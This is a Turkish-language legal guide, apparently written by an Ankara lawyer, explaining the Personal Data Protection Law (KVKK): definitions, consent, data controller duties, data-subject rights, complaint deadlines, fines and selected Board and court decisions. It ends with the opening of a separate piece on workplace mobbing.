KİŞİSEL VERİLERİ KORUMA KANUNU KAPSAMINDA HAKLARIMIZ

Kişisel veri; kişinin kendisine ait her türlü bilgiyi ifade etmektedir. Bu bilgilerin ne kadar değerli olduğunu çoğu zaman kendimiz dahi fark edememiş olabiliriz. Örneğin cep telefonu numaranızın öğrenilmesi dolandırıcılar ile, kan grubunun veya gen haritanızın öğrenilmesi organ mafyası ile, sendikanızın öğrenilmesi ayrımcılık ile, gizlediğiniz bir hastalığınızın öğrenilmesi sizi ailesel bir çatışma ile karşı karşıya bırakabil-mektedir. Kişinin verisi, kendisine ait bilgisi değerlidir. Bu değerin korunması için Kişisel Verilerin Korunması Kanunu yürürlüğe girmiştir. Bilgilerimizi ele geçiren kişilere karşı Kişisel Verileri Koruma Kuruluna başvurmamız halinde, ihlal edenlere karşı ciddi parasal cezalar verilmekle birlikte, Türk Ceza Kanunu kapsamında suç teşkil etmesi durumunda cezalandırılması sağlanmaktadır

Aşağıda başlıklarla Kişisel Verileri Koruma Kanunu, içerisinde bulunan tanımlar ve haklarınızı arama yönetimi ayrıntılı olarak anlatılmıştır.

KORUMANIN ANAYASAL TARİHÇESİ

2010 yılı Anayasa değişikliği ile Anayasanın 20. maddesine “Herkes, kendisiyle ilgili kişisel verilerin korunmasını isteme hakkına sahiptir. Bu hak; kişinin kendisiyle ilgili kişisel verileri hakkında bilgilendirilme, bu verilere erişme, bunların düzeltilmesini veya silinmesini talep etme ve amaçları doğrultusunda kullanılıp kullanılmadığını öğrenmeyi de kapsar. Kişisel veriler, ancak Kanunda öngörülen hallerde veya kişinin açık rızasıyla işlenebilir. Kişisel verilerin korunmasına ilişkin esas ve usuller kanunla düzenlenir” şeklinde bir fıkra eklenerek, kişisel verilerin korunması açıkça anayasal güvence altına alınmıştır.

KİŞİSEL VERİLERİN KORUNMASI KANUNUNUN AMACI NEDİR?

  • Kişisel verilerin sınırsız biçimde ve gelişigüzel toplanmasının önlenmesi,
  • Yetkisiz kişilerin erişimine açılmasının önlenmesi,
  • İfşası veya amaç dışı ya da kötüye kullanımı sonucu kişilik haklarının ihlal edilmesinin önüne geçilmesi,
  • Kişinin mahremiyetinin korunması ile veri güvenliğinin sağlanması

KİŞİSEL VERİLERİN KORUNMASI KANUNU KİMLERİ KAPSAMAKTADIR?

  • Kişisel verileri işlenen gerçek kişiler,
  • Bu verileri tamamen veya kısmen otomatik olan ya da herhangi bir veri kayıt sisteminin (kişisel verilerin belirli kriterlere göre yapılandırılarak işlendiği kayıt sistemi) parçası olmak kaydıyla otomatik olmayan yollarla işleyen gerçek kişiler,
  • Bu verileri tamamen veya kısmen otomatik olan ya da herhangi bir veri kayıt sisteminin (kişisel verilerin belirli kriterlere göre yapılandırılarak işlendiği kayıt sistemi) parçası olmak kaydıyla otomatik olmayan yollarla işleyen tüzel kişiler,

Hakkında uygulanır. Kişisel verileri işlenen tüzel kişiler bu kanun kapsamında değildir.

KANUNUN UYGULANMAYACAĞI VERİ İŞLEME FAALİYETLERİ

Kanunun 28. maddesinde, bazı hallerde Kanun hükümlerinin uygulanmayacağı belirtilmektedir. Bu çerçevede, Kanun kapsamına girmeyen haller, 28. maddede tamamen veya kısmen kapsam dışı olan haller olmak üzere ikili bir ayrıma tabi tutulmuştur.

1. Tam İstisna Halleri

Kişisel verilerin;

  • Üçüncü kişilere verilmemek ve veri güvenliğine ilişkin yükümlülüklere uyulmak kaydıyla gerçek kişiler tarafından tamamen kendisiyle veya aynı konutta yaşayan aile fertleriyle ilgili faaliyetler kapsamında işlenmesi,
  • Resmi istatistik ile anonim hâle getirilmek suretiyle araştırma, planlama ve istatistik gibi amaçlarla işlenmesi,
  • Millî savunmayı, millî güvenliği, kamu güvenliğini, kamu düzenini, ekonomik güvenliği, özel hayatın gizliliğini veya kişilik haklarını ihlal etmemek ya da suç teşkil etmemek kaydıyla, sanat, tarih, edebiyat veya bilimsel amaçlarla ya da ifade özgürlüğü kapsamında işlenmesi,
  • Kanunla görev ve yetki verilmiş kamu kurum ve kuruluşları tarafından yürütülen önleyici, koruyucu ve istihbari faaliyetler kapsamında işlenmesi,
  • Yargı makamları veya infaz mercileri tarafından işlenmesi.

2. Kısmi İstisna Halleri (10.,11. ve 16. maddelerde belirtilen)

  • Kişisel veri işlemenin suç işlenmesinin önlenmesi veya suç soruşturması için gerekli olması,
  • İlgili kişinin kendisi tarafından alenileştirilmiş kişisel verilerin işlenmesi,
  • Kişisel veri işlemenin kanunun verdiği yetkiye dayanılarak görevli ve yetkili kamu kurum ve kuruluşları ile kamu kurumu niteliğindeki meslek kuruluşlarınca, denetleme veya düzenleme görevlerinin yürütülmesi ile disiplin soruşturma veya kovuşturması için gerekli olması,
  • Kişisel veri işlemenin bütçe, vergi ve mali konulara ilişkin olarak Devletin ekonomik ve mali çıkarlarının korunması için gerekli olması.

KİŞİSEL VERİ

  1. Gerçek kişiye ait olması
  2. Kişiyi belirli veya belirlenebilir kılması
  3. Her türlü bilgi (telefon numarası, motorlu taşıt plakası, sosyal güvenlik numarası, pasaport numarası, özgeçmiş, resim, görüntü ve ses kayıtları, parmak izleri, e-posta adresi, hobiler, tercihler, etkileşimde bulunulan kişiler, grup üyelikleri, aile bilgileri, sağlık bilgileri)

Yargıtay’a göre;

Yaşam şekline ilişkin kişisel veriler: Kişilerin üçüncü kişiler tarafından ayırımcılığa uğramaması ve haysiyetinin korunmasıyla ilişkili olarak dini inançları, cinsel tercihleri, etnik kökeni, suç geçmişi, politik eğilimleri ve kişisel özel aktivitelere ilişkin bilgiler.

Ekonomik ve finansal kişisel veriler: Suçlular tarafından suistimale ve kimlik hırsızlığına hedef olmamak için kişinin mali varlığı, sahip olduğu hisse ve hesaplar, borçları, yaptığı alışverişler, kredi kartlarına ilişkin veriler. Ayrıca sayılan bu bilgiler ile kişinin nerede ve kimlerle bulunduğuna, sağlık bilgilerine ilişkin bilgiler de ortaya çıkarabileceğinden ve varlık bilgisinin toplumsal açıdan da özel sayılmasından dolayı önemi artmaktadır.

Bilişim alanına ilişkin kişisel veriler: e-postaların bizzat adresleri veya şifreleri, internet ortamında paylaşılan kişisel veriler mahrem olarak değerlendirilebilir. Bunun önemi şu bakımdan artmaktadır, internette gezinti yapan kişi birçok kişisel bilgileri paylaşmakta, bu bilgiler kayıt altına alınmakta, yine internet erişimine ilişkin iz kayıtlarının hizmet sağlayıcı ve sunucu sahipleri tarafından tutulabiliyor olması nedenleriyle artmaktadır.

Sağlıkla ilgili kişisel veriler: Sağlık verileri kişilerin iş güvenliğini, toplum içindeki statüsünü ve sigorta kapsamını etkileyen hassas bilgilerdir. Ayrıca sağlık verileri kişilerin sosyal yaşantısı ve psikolojik durumları hakkında bilgi edinilmesine neden olabilir. Biyometrik veriler de (kişinin kendine özgü fiziksel veya biyolojik niteliklerine dayalı olarak insanların kimliğini tespit için dijital teknolojiden faydalanma bilimi) kişisel veriler arasındadır.

Politik kişisel veriler: Toplum içinde yaşayan kişilerin siyasi tercihleri toplum katmanları arasında bilinme halinde ayırımcılığa maruz kalma ihtimali bulunduğundan bu bilgilerde kişisel veridir…


Şekil 1 İstihbarat servisleri açısından liderlerin dışkı ve idrarları gibi kişisel verileri ayrı bir önem taşımaktadır. Beşar Esad’ın babası Hafız Esad ABD ziyaretinde iken CİA tarafından dışkısı incelenmiş ve kanser olduğu açıklanmıştır. Türkiye’yi ziyaret eden Obama’nın tuvalete girdikten sonra dışkısını da götürmesi gündem olmuştu.

ÖZEL NİTELİKLİ KİŞİŞSEL VERİ

  • Özel nitelikli kişisel veriler; kişilerin ırkı, etnik kökeni, siyasi düşüncesi, felsefi inancı, dini, mezhebi veya diğer inançları, kılık ve kıyafeti, dernek, vakıf ya da SENDİKA ÜYELİĞİ, SAĞLIĞI, cinsel hayatı, ceza mahkûmiyeti ve güvenlik tedbirleriyle ilgili verileri ile biyometrik ve genetik verilerdir.
  • Buna göre, hassas veriler kişisel verilerin daha fazla koruma uygulanan küçük bir grubu olarak değerlendirilebilir.
  • Özel nitelikli kişisel verilerin, ilgilinin açık rızası olmaksızın işlenmesi yasaktır.
  • Sağlık ve cinsel hayat dışındaki kişisel veriler, kanunlarda öngörülen hâllerde ilgili kişinin açık rızası aranmaksızın işlenebilir.
  • Sağlık ve cinsel hayata ilişkin kişisel veriler ise ancak kamu sağlığının korunması, koruyucu hekimlik, tıbbî teşhis, tedavi ve bakım hizmetlerinin yürütülmesi, sağlık hizmetleri ile finansmanının planlanması ve yönetimi amacıyla, sır saklama yükümlülüğü altında bulunan kişiler veya yetkili kurum ve kuruluşlar tarafından ilgilinin açık rızası aranmaksızın işlenebilir.

KİŞİSEL VERİLERİN İŞLENMESİ

Kişisel verilerin işlenmesi, kişisel verilerin tamamen veya kısmen otomatik olan ya da herhangi bir veri kayıt sisteminin parçası olmak kaydıyla otomatik olmayan yollarla elde edilmesi, kaydedilmesi, depolanması, muhafaza edilmesi, değiştirilmesi, yeniden düzenlenmesi, açıklanması, aktarılması, devralınması, elde edilebilir hâle getirilmesi, sınıflandırılması ya da kullanılmasının engellenmesi gibi veriler üzerinde gerçekleştirilen her türlü işlemi ifade eder.

Örneğin, kişisel verilerin sadece bir hard diskte, CD’de, sunucuda depolanması, anılan verilerle başkaca hiçbir işlem yapılmasa da bir veri işleme faaliyetidir.

KAYIT SİSTEMİ

Veri kayıt sistemi, kişisel verilerin belirli kriterlere göre yapılandırılarak işlendiği kayıt sistemini ifade etmektedir. Bir dosyalama sistemi olarak nitelenebilecek veri kayıt sistemi elektronik ya da fiziki ortamda oluşturulabilir. Buna göre, veri kayıt sisteminde kişisel veriler, ad, soyad veya kimlik numarası üzerinden sınıflandırılabileceği gibi, örneğin kredi borcunu ödemeyenlere ilişkin oluşturulacak bir sınıflandırma da bu kapsamda değerlendirilmektedir.


Şekil 2 Damardan ve avuç içinden kimlik tespiti bir çok ülkede kullanılmaya başlanan bir yol. Almanya’nın Leipzig şehrinde geçtiğimiz günlerde gerçekleştirilen etkinlikte kişilerin fotoğraflarını kullanarak parmak izini hacklemeyi başardılar.

VERİ SORUMLUSU

  • Veri sorumlusu, kişisel verilerin işleme amaçlarını ve vasıtalarını belirleyen, veri kayıt sisteminin kurulmasından ve yönetilmesinden sorumlu olan gerçek veya tüzel kişiyi ifade eder.
  • Bu kişiler, gerçek kişiler olabileceği gibi, kamu kurumları, şirketler, dernekler veya vakıflar gibi tüzel kişiler de olabilecektir. Hukuki sorumluluk veri sorumlusundadır.
  • Eğer veri işleme faaliyeti bir tüzel kişilik tarafından gerçekleştiriliyorsa, burada veri sorumlusu tüzel kişinin kendisidir.
  • Tüzel kişiliğin içerisinde veri işleme faaliyetlerinden sorumlu olan gerçek kişiler Kanunun uygulanması bakımından veri sorumlusu sayılmazlar.

VERİ SORUMLUSUNUN GÖREVLERİ

6698 sayılı Kişisel Verilerin Korunması Kanununun (Kanun) 12 nci maddesinin (1) numaralı fıkrasında veri sorumlusunun görevleri;

  • Sicile kayıt
  • Kişisel verilerin hukuka aykırı olarak işlenmesini önlemek,
  • Kişisel verilere hukuka aykırı olarak erişilmesini önlemek,
  • Kişisel verilerin muhafazasını sağlamak
  • İşlenen kişisel verilerin kanuni olmayan yollarla başkaları tarafından elde edilmesi hâlinde, veri sorumlusunun bu durumu en kısa sürede ilgilisine ve Kişisel Verileri Koruma Kuruluna (Kurul) bildireceği (EN KISA ZAMAN 72 SAAT)

Şekil 3- hsturan.com sitesinden alınmıştır.

VERİ İŞLEYEN

  • Veri işleyen, veri sorumlusu adına kişisel verileri kendisine verilen talimatlar çerçevesinde işleyen gerçek veya tüzel kişilerdir.
  • Örneğin, veri sorumlusunun verdiği yetkiye dayanarak veri sorumlusu adına faaliyet gösteren, dışarıdan hizmet alınması suretiyle çağrı merkezi hizmeti veren bir şirket bu faaliyet kapsamında veri işleyen olarak kabul edilecektir.

KİŞİSEL VERİLERİN İŞLENMESİNDE GENEL (TEMEL) İLKELER

  • Hukuka ve dürüstlük kurallarına uygun olma,
  • Doğru ve gerektiğinde güncel olma,
  • Belirli, açık ve meşru amaçlar için işlenme,
  • İşlendikleri amaçla bağlantılı, sınırlı ve ölçülü olma,
  • İlgili mevzuatta öngörülen veya işlendikleri amaç için gerekli olan süre kadar muhafaza edilme.

KİŞİSEL VERİLERİN İŞLENME ŞARTLARI

  • Rıza
  • Kanunilik
  • Zorunluluk (Rızası alınamayanlar için)
  • Sözleşmenin taraflarına ait kişisel verilerin işlenmesinin gerekli olması
  • Veri sorumlusunun hukuki yükümlülüğü olması
  • İlgili kişinin kendisi tarafından alenileştirilmiş olması
  • Bir hakkın tesisi, kullanılması veya korunması
  • Meşru menfaatleri için veri işlenmesinin zorunlu olması

AÇIK RIZA

Açık rıza, belirli bir konuya ilişkin, bilgilendirilmeye dayanan özgür irade açıklamasıdır. Açık rızanın üç unsuru bulunmaktadır:

  1. Belirli bir konuya ilişkin olması
  2. Rızanın bilgilendirmeye dayanması
  3. Özgür iradeyle açıklanması

Not: Açık rızanın alındığı konusundaki ispat yükü ise veri sorumlusuna aittir. Açık rıza geri alınabilir.

RIZA ARANMAYAN HALLER

  • Kanunlarda açıkça öngörülmesi.
  • Fiili imkânsızlık nedeniyle rızasını açıklayamayacak durumda bulunan veya rızasına hukuki geçerlilik tanınmayan kişinin kendisinin ya da bir başkasının hayatı veya beden bütünlüğünün korunması için zorunlu olması.
  • Bir sözleşmenin kurulması veya ifasıyla doğrudan doğruya ilgili olması kaydıyla, sözleşmenin taraflarına ait kişisel verilerin işlenmesinin gerekli olması.
  • Veri sorumlusunun hukuki yükümlülüğünü yerine getirebilmesi için zorunlu olması.
  • İlgili kişinin kendisi tarafından alenileştirilmiş olması.
  • Bir hakkın tesisi, kullanılması veya korunması için veri işlemenin zorunlu olması.
  • İlgili kişinin temel hak ve özgürlüklerine zarar vermemek kaydıyla, veri sorumlusunun meşru menfaatleri için veri işlenmesinin zorunlu olması.

KİŞİSEL VERİLERİN ANONİM HALE GETİRİLMESİ

Anonim hale getirme kişisel verilerin başka verilerle eşleştirilse dahi kimliği belirli veya belirlenebilir bir gerçek kişiyle ilişkilendirilemeyecek hale getirilmesidir.

KİŞİSEL VERİLER HANGİ ŞARTLARDA SİLİNMELİ, YOK EDİLMELİ VEYA ANONİM HALE GETİRİLMELİDİR?

Kanunda yer alan kişisel verilerin işlenmesine ilişkin şartların tamamının ortadan kalkması durumunda kişisel veriler resen veya ilgili kişinin talebi üzerine veri sorumlusu tarafından silinir, yok edilir veya anonim hale getirilir.

KİŞİSEL VERİLERİN YURTİÇİNDE AKTARILMASI

Kanunda, kişisel verilerin ilgilinin açık rızası olmak şartıyla üçüncü kişilere aktarılabileceği öngörülmektedir.

Rıza Aranmayan Haller;

  1. Kişisel veriler açısından Kanunun 5. maddesinin 2. fıkrasında sayılan işleme şartlarından en az birinin bulunması,
  2. Özel nitelikli kişisel veriler açısından ise yeterli önlemler alınmak kaydıyla Kanunun 6. maddesinin 3. fıkrasında belirtilen şartlardan birinin bulunması

KİŞİSEL VERİLERİN YURT DIŞINA AKTARILMASI

  • İlgili kişinin açık rızasının bulunması
  • Kanunun 5. maddesinin 2. fıkrasında ve Kanunun 6. maddesinin 3. fıkrasında belirtilen şartlardan birinin bulunması ve verinin aktarılacağı ülkede;

a) Yeterli korumanın bulunması,

b) Yeterli korumanın bulunmaması durumunda Türkiye’deki ve ilgili yabancı ülkedeki veri sorumlularının yeterli bir korumayı yazılı olarak taahhüt etmeleri ve Kurulun izninin bulunması

kaydıyla kişisel verilerin yurt dışına aktarılması mümkündür.

VERİ SORUMLUSUNUN AYDINLATMA YÜKÜMLÜLÜĞÜ

  • Talep aranmaksızın zorunludur.
  • İspat külfeti veri sorumlusundadır.
  • Veri sorumlusunun ve varsa temsilcisinin kimliği,
  • Kişisel verilerin hangi amaçla işleneceği,
  • Kişisel verilerin kimlere ve hangi amaçla aktarılabileceği,
  • Kişisel veri toplamanın yöntemi ve hukuki sebebi,
  • Kullanım amacında değişiklik olursa yeniden rıza tekrar istenmelidir.
  • İlgili kişinin Kanunun 11 inci maddesinde sayılan diğer hakları.

İLGİLİ KİŞİNİN HAK ARAMASI

İLGİLİ KİŞİNİN HAKLARI NELERDİR?

  • Kişisel verilerin işlenip işlenmediği,
  • İşlenmişse buna ilişkin bilgi talebi ve işlenme amacını,
  • Amacına uygun kullanılıp kullanılmadığı,
  • Yurt içinde veya yurt dışında kişisel verilerin aktarıldığı üçüncü kişileri
  • Eksik veya yanlış işlenmiş olması hâlinde bunların düzeltilmesini isteme,
  • Kişisel verilerin silinmesini veya yok edilmesini isteme ve yapılan işlemlerin kişisel verilerin aktarıldığı üçüncü kişilere bildirilmesini isteme,
  • Münhasıran otomatik sistemler vasıtasıyla analiz edilmesi suretiyle kişinin kendisi aleyhine bir sonucun ortaya çıkmasına itiraz etme,
  • Zarara uğraması hâlinde zararın giderilmesini talep etme

VERİ SORUMLUSUNA BAŞVURU USULÜ

  • İlgili kişi yazılı olarak veya diğer elektronik yollarla (e posta, elektronik imza, KEP) başvuru yapabilir.
  • Ad, Soyad, İmza, TC, Adres, E-posta adresi, Talep konusu, gerekli belgeler bulunmak zorunda.
  • Veri Sorumlusuna tebliğ edildiğinde süre başlar.
  • Veri sorumlusu yapılan talebi EN KISA SÜREDE VE EN GEÇ 30 (OTUZ) GÜN İÇİNDE olarak sonuçlandırır.

VERİ SORUMLUSUNA BAŞVURU ÜCRETİ

  • Başvuru kural olarak ÜCRETSİZDİR.
  • İlgili kişinin başvurusuna yazılı olarak cevap verilecekse, ON SAYFAYA KADAR ücret alınmaz. On sayfanın üzerindeki her sayfa için 1 TÜRK LİRASI işlem ücreti alabilir.
  • Size kayıtları flash bellek halinde gönderirlerse sadece bellek ücreti.

VERİ SORUMLUSU İLGİLİ KİŞİNİN TALEBİ ÜZERİNE NELER YAPABİLİR?

  • Veri sorumlusu talebi kabul veya reddeder.
  • Kabul ederse gerekli işlemleri yapıp bilgilendirir.
  • İlgili kişi, veri sorumlusunun cevabını öğrendiği tarihten itibaren otuz ve her halde veri sorumlusuna başvuru tarihinden itibaren altmış gün içinde Kurula şikâyette bulunabilir.

KİŞİSEL VERİLERİ KORUMA KURULU VE BAŞVURU USULÜ

  • Öncelikle ilgili kişilerin Kanunun uygulanması ile ilgili taleplerini öncelikle veri sorunlusuna iletmeleri zorunludur. Kurul ikinci kademedeki yoldur.
  • Kurulun resen karar verme yetkisi de bulunmaktadır.
  • Cevabı öğrendiği tarihten itibaren otuz ve her halde veri sorumlusuna başvuru tarihinden itibaren altmış gün içinde başvuru yapmalıdır.

NOT:

İlgili kişi tarafından yapılan başvuruya veri sorumlusunca 30 gün içinde bir cevap verilmesi halinde ilgili kişinin veri sorumlusunun cevabını müteakip 30 gün içerisinde şikâyette bulunabileceği, bu itibarla söz konusu hallerde ilgili kişinin veri sorumlusuna başvurduğu tarihten itibaren 60 günlük süresinin bulunmadığı,

İlgili kişi tarafından yapılan başvuruya veri sorumlusunca bir cevap verilmediği durumda ise ilgili kişinin veri sorumlusuna başvurduğu tarihten itibaren 60 gün içinde Kurula şikâyette bulunabileceği,

İlgili kişi tarafından yapılan başvuruya veri sorumlusunca Kanunda tanınan 30 günlük süre sonrasında bir cevap verilmesi halinde ilgili kişinin, Kanunda veri sorumlusuna tanınan 30 günlük süre sonrasında verilecek cevabı beklemekle yükümlü olmadığı ve veri sorumlusuna tanınan sürenin dolması ile birlikte Kurula şikâyette bulunabileceği göz önüne alınarak, ilgili kişinin veri sorumlusunun kendisine cevap verdiği tarihten itibaren 30 gün değil, veri sorumlusuna başvurduğu tarihten itibaren 60 gün içinde Kurula şikâyette bulunabileceği

KİŞİSEL VERİLERİ KORUMA KURULUN İŞLEMLERİ

  • Veri sorumlusu, on beş gün içinde Kurulun istediği belge ve bilgileri göndermek zorundadır.
  • Şikâyet üzerine Kurul, şikâyet tarihinden itibaren altmış gün içinde cevap vermezse talep reddedilmiş sayılır.
  • İhlalin varlığının anlaşılması hâlinde Kurul, tespit ettiği hukuka aykırılıkların veri sorumlusu tarafından giderilmesine karar vererek ilgililere tebliğ eder. Bu karar, tebliğden itibaren gecikmeksizin ve en geç otuz gün içinde yerine getirilir.

ACİLİYET GEREKTİREN KONULAR

  • Kurul, telafisi güç veya imkânsız zararların doğması ve açıkça hukuka aykırılık olması hâlinde, veri işlenmesinin veya verinin yurt dışına aktarılmasının durdurulmasına karar verebilir.

KİŞİSEL VERİLERE İLİŞKİN SUÇLAR VE CEZAİ YAPTIRIMLAR KONUSUNDA KİŞİSEL VERİLERİN KORUNMASI KANUNUNDAKİ DÜZENLEMELER

Kişisel verilere ilişkin suçlar ve cezai yaptırımlar 5237 sayılı Türk Ceza Kanunu’nun ilgili hükümlerine (Md. 134-140) atıf yapılmak suretiyle düzenlenmiştir.

  • Özel hayatın gizliliğini ihlal (134. Madde)
  • Kişisel verilerin kaydedilmesi (135. Madde)
  • Verileri hukuka aykırı olarak verme veya ele geçirme (136. Madde)
  • Ayrıca, kişisel verileri yok etmeyenlerin ise Türk Ceza Kanunu’nun 138. maddesine göre (verileri yok etmeme suçu) cezalandırılacağı hüküm altına alınmıştır.

İhlale uğrayan kişiler Kişisel Verilerin Korunması Kuruluna başvuru ile ihlal edeni para cezası ile karşı karşıya bırakacağı gibi, bulunduğu ildeki Cumhuriyet Başsavcılılarına suç duyurusunda bulunarak yukarıda bahsedilen suçlardan yargılanmalarını da sağlayabilmektedir.

KİŞİSEL VERİLERİN KORUMASI KANUNUNDA HANGİ KONULARA İLİŞKİN İDARİ YAPTIRIMLAR

  • Aydınlatma yükümlülüğünü yerine getirmeyenler hakkında 5.000 Türk lirasından 100.000 Türk lirasına kadar
  • Veri güvenliğine ilişkin yükümlülükleri yerine getirmeyenler hakkında 15.000 Türk lirasından 1.000.000 Türk lirasına kadar
  • Kurul tarafından verilen kararları yerine getirmeyenler hakkında 25.000 Türk lirasından 1.000.000 Türk lirasına kadar
  • Veri Sorumluları Siciline kayıt ve bildirim yükümlülüğüne aykırı hareket edenler hakkında 20.000 Türk lirasından 1.000.000 Türk lirasına kadar

Şekil 4 Google, Fransa’da GDPR – Kişisel Verilerin Gizliliği Kanun’unun ihlal ettiği gerekçesiyle 50 Milyon Avro para cezasına çarptırıldı .

KİŞİSEL VERİLERİ KORUMA KURULUN VERDİĞİ BAZI KARARLAR

İlgili kişilerin e-posta adreslerine veya SMS ya da çağrı ile cep telefonlarına reklam bildirimleri/aramaları yönlendirilmesi

  • Telefon numaralarına SMS göndermek, arama yapmak veya e-posta adreslerine posta göndermek suretiyle reklam içerikli ileti yönlendiren veri sorumluları ile veri sorumluları adına reklam içerikli mesaj/e-posta göndermek veya arama yapmak amacıyla ilgili kişilerin açık rızaları bulunmaksızın bu verileri kullanan veri işleyenlerin söz konusu veri işleme faaliyetlerine karşı durdurma kararı, idari para cezası kararı ve suç duyurusunda bulunmuştur. (16/10/2018 tarih 2018/119 sayılı karar)

Veri sorumlusu nezdindeki kişisel verilere erişim yetkisi bulunan personelin yetkisi ve amacı dışında söz konusu verileri işlemesi hususunun değerlendirilmesi

  • Bir veri sorumlusu nezdinde bulundukları pozisyon veya görev itibariyle kişisel verilere erişme yetkisi olanlar tarafından, yetkileri aşmak ve/veya yetkilerini kötüye kullanmak suretiyle, kişisel amaçlara veya nedenlere bağlı olarak işleme amacı dışında söz konusu kişisel verilerin işlenmesi ve/veya bu verilerin üçüncü kişilerle paylaşılması 6698 sayılı Kişisel Verilerin Korunması Kanununun (Kanun) 12 nci maddesinin (1) numaralı fıkrasına aykırılık teşkil edeceğinden, bu kapsamdaki eylemlerin önlenmesi amacıyla veri sorumlularınca uygun güvenlik düzeyini temin etmeye yönelik gerekli her türlü teknik ve idari tedbirin alınması gerektiği hususunda veri sorumlularının bilgilendirilmesine, (31/05/2018 tarih 2018/63 sayılı karar)

Banko, Gişe, Masa gibi Hizmet Alanlarında Kişisel Verilerin Korunması

  • Bankacılık ve sağlık sektörleri başta olmak üzere birden fazla çalışan ile birlikte bitişik düzende hizmet veren posta ve kargo hizmetleri, turizm acenteleri, zincir mağazaların müşteri hizmetleri bölümleri, çeşitli abonelik işlemlerinin yapıldığı kuruluşlar ile belediye, vergi ve nüfus ile ilgili işlemler gibi hizmetlerin verildiği kamu ve özel sektör kurum ve kuruluşlarının, 6698 sayılı Kişisel Verilerin Korunması Kanununun (Kanun) 12 nci maddesi uyarınca kişisel verilerin korunması ile ilgili olarak; banko/gişe/masa gibi bölümlerde yetkisi olmayan kişilerin yer almasını önleyecek ve aynı anda birbirlerine yakın konumda hizmet alanların birbirlerine ait kişisel verileri duymasını, görmesini, öğrenmesini veya ele geçirmesini engelleyecek nitelikte gerekli teknik ve idari tedbirleri almasına, (21/12/2017 tarih 2017/62 sayılı karar)

Bankanın talep olmamasına rağmen görülmekte olan mahkemeye kişinin 6 aylık ekstresini göndermesi

  • Çocuklarının avuç izlerinin bir fitness centerda ebeveynin rızası olmadan alınması ve üyeliğin sona erdirilmesi ile ilgili tüketici mahkemesinde görülen davada mahkeme ücret iadesi ile ilgili bankadan bilgi istemiş. Bankanın ilgili şubesi mahkemenin talebinde “bilgi” dışında herhangi bir talep olmamasına rağmen ilgili kişinin altı aylık tüm kredi kartı harcamalarını gösteren ekstreleri herhangi bir kısmını gizlemeden mahkemeye göndermiş. İlgili kişi konumundaki fitness center da dava dosyasına giren belgelere erişebildiği düşünüldüğünde, davalık olduğunuz birilerinin sizin özel hayatınıza ilişkin bilgilere ulaşmasının kabul edilemez olduğunu ifade etti. (23.02.2018 tarihli 1271 sayılı karar)

MAHKEME KARARLARI

Mesai takibi için Parmak İzi Tarama Sistemi Uygulanamaz [Danıştay 5. Daire 2013/5342 E. 2013/9525 K. ]

  • Personelden Kişisel Veri alınması kapsamında olan “parmak izi tarama sistemi” ile mesai takibi uygulamasının, kamusal alanda da olsa “özel hayatın gizliliği” ilkesi kapsamında bulunduğunun anlaşılması karşısında; uygulamanın sınırlarını, usul ve esaslarını gösteren bir yasal dayanağının bulunmaması, toplanan verilerin ileride başka bir şekilde kullanılamayacağına dair bir güvencenin mevcut olmaması göz önüne alındığında, Anayasa’da ve uluslararası sözleşmelerde belirtilen temel hak ve ilkelerle bağdaşmayan dava konusu işlemde hukuka uyarlık bulunmadığı hakkında.

Fotoğrafın izinsiz kullanılması kişisel verileri hukuka aykırı olarak yayma suçunu oluşturur. [Yargıtay Ceza Genel Kurul Kararı Esas No: 2012/12-1510 Karar No: 2014/331 Karar Tarihi.17.06.2014]

  • “…Köşe yazarı olarak çalışan katılanın, sanığın genel yayın yönetmenliğini yaptığı gazetede yazdığı köşesinde kullanılan fotoğrafının, katılanın rızası olmadan arkadaşlık sitesine konulması eyleminin, TCK’nın 136. maddesinde düzenlenen, kişisel verileri hukuka aykırı olarak yayma suçunu oluşturacağı, hukuki durumunun buna göre tayin ve takdiri gerektiği gözetilmeden, suç vasfında yanılgıya düşülerek, yazılı şekilde karar verilmesi” isabetsizliğinden oyçokluğuyla bozulmasına karar verilmiş,

Kişinin rızası dışında telefon numarasını arkadaş arama sitelerine ekleme, verileri hukuka aykırı olarak yayma suçudur [T.C. Yargıtay Ceza Genel Kurulu Esas No:2017/829 Karar No:2017/363K. Tarihi:4.7.20179]

  • Sanığın adına ve Antalya’da bulunan adresine kayıtlı ADSL hattı üzerinden 12.04.2007 tarihinde “” IP numarası ile “www.va.com” isimli arkadaşlık sitesine “” rumuzu kullanılarak oluşturulan profilde, katılanın rızası dışında telefon numarası ile gezip eğlenmeyi seven erkeklerle tanışmak istediği bilgisine yer verildiği, siteye giren kişilerce katılanın telefonuna çeşitli mesajlar gönderildiği olayda;
  • Katılanın, suçun Antalya ilinde işlenmesinden bir gün sonra Beykoz Cumhuriyet Başsavcılığına bizzat şikâyette bulunarak sanığın kızı ile aralarında bulunan husumetten dolayı eylemi sanığın gerçekleştirdiğine dair beyanı; katılana ait telefon numarasının verildiği arkadaşlık sitesindeki üyelik işleminin, sanığın adına kayıtlı ADSL hattını kullanan bilgisayar üzerinden gerçekleştirildiğine ilişkin bilirkişi raporu ile Yeni Medya Elektronik Yayıncılık ve Türk Telekomünikasyon Anonim Şirketi yazıları karşısında; sanığın, eylemin evlerine gelen katılan tarafından gerçekleştirildiği ve kendisine komplo kurulduğuna dair savunmalarının suçtan kurtulmaya yönelik olduğunun kabulü ile itibar edilemeyeceği cihetle, üzerine atılı verileri hukuka aykırı yayma suçunu işlediği kabul edilmelidir.

AV. OSMAN YILDIZ – ANKARA BAROSU

İŞYERİNDE PSİKOLOJİK TERÖRİZM; MOBBİNG

Mobbing Nedir ?

Mobbingin (işyerinde psikolojik taciz) kelime anlamı, psikolojik şiddet,baskı, kuşatma, taciz, rahatsız etme veya sıkıntı vermektir.

Türk Dil Kurumu, mobbing kavramının karşılığı olarak “Bezdiri” kelimesini belirlemiş ve bezdiriyi “İş yerlerinde, okullarda vb. topluluklar içinde belirli bir kişiyi hedef alıp, çalışmalarını sistemli bir biçimde engelleyip huzursuz olmasına yol açarak yıldırma, dışlama, gözden düşürme” olarak tanımlamıştır.

Sağlık Çalışanlarında Mobbing

